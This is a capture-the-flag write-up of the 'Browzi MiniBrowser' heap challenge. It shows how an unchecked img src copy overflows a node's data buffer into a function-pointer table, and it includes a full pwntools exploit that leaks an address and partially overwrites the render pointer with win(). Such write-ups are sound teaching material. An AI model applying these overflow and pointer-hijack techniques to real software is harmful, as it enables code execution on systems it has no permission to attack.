Post

Browzi MiniBrowser — heap exploitation (ENSET Challenge 2026)

Heap exploitation writeup for Browzi MiniBrowser, abusing an unchecked img src copy to overwrite a heap function pointer and redirect rendering to win().

Browzi MiniBrowser — heap exploitation (ENSET Challenge 2026)

Overview

Browzi was a pwn challenge from ENSET Challenge 2026. The binary implemented a minimal HTML parser and rendering engine. It parsed user-controlled HTML, built a DOM-like Node, and used a RenderOps table for callbacks.

During rendering, the program called:

1
n->ops->render(n);

The exploitation goal was to overwrite ops->render and redirect execution to the hidden win() function.

Structures

The important structures were:

1
2
3
4
5
6
7
8
9
struct Node {
    char type[16];
    char id[32];
    RenderOps *ops;
    struct Node *parent;
    struct Node *first_child;
    struct Node *next_sibling;
    char data[128];
};
1
2
3
4
5
struct RenderOps {
    void (*render)(struct Node *);
    void (*onload)(struct Node *);
    void (*onerror)(struct Node *);
};

Key observations:

ObservationMeaning
id is bounded to 32 bytesNo useful overflow through id
No src field existsThe src attribute is stored in data[128]
RenderOps is allocated after NodeA heap overflow from data can reach callbacks
render is called indirectlyA function pointer overwrite can control RIP

Vulnerability

The vulnerable vector was:

1
<img src="...">

The src content was copied into data[128] without bounds checking. Because the adjacent RenderOps structure was nearby on the heap, overflowing data could overwrite:

1
ops->render

Failed attempts

I tested several input vectors before the useful one:

AttemptPayloadResult
id overflow<div id="AAAA...">Input truncated, no overflow
Invalid attribute<div src="AAAA...">Parser ignored it
Image source<img src="AAAA...">Crash and control over execution

The correct attack surface was the img src parser path.

Offset calculation

From GDB and heap layout inspection:

1
2
data      -> offset 0x50
RenderOps -> offset 0xe0

So the overwrite distance was:

1
offset = 0xe0 - 0x50 = 144

Exploitation target

The goal was:

1
ops->render -> win

So the normal call:

1
n->ops->render(n);

would become:

1
win(n);

Null-byte constraint

A full pointer overwrite with p64(win_addr) failed because the string copy stopped at \x00. Short partial overwrites also corrupted the pointer because the C string terminator landed in the wrong byte.

The useful insight was to overwrite only six bytes:

1
p64(win_addr)[:6]

The high two bytes of a canonical userspace address were already zero, and the string terminator completed the pointer cleanly.

Final exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.arch = "amd64"

r = remote("167.86.100.105", 5001)

r.recvuntil(b"render_div  @ ")
render_div = int(r.recvline().strip(), 16)

win_addr = render_div - 0xb6

log.success(f"render_div = {hex(render_div)}")
log.success(f"win        = {hex(win_addr)}")

offset = 144
target = p64(win_addr)[:6]

payload = b'<img src="' + b'A' * offset + target + b'">'

r.sendline(payload)
r.sendline(b"")
r.interactive()

Result:

1
2
=== CONGRATULATIONS! ===
N7{br0wz1_us3_4ft3r_fr33_d0m_m4n1pul4t10n}

Summary

StepAction
1Leak render_div
2Compute win
3Use the <img src> parser path
4Overflow data[128]
5Overwrite ops->render with a 6-byte partial pointer
6Trigger rendering and reach win()

Lessons learned

The challenge showed why heap layout matters as much as the vulnerable copy itself. The bug was reachable only through the correct HTML attribute path, and the final exploit depended on respecting C string truncation. GDB was needed to validate the offset, pointer corruption pattern and final partial overwrite.

This post is licensed under CC BY 4.0 by the author.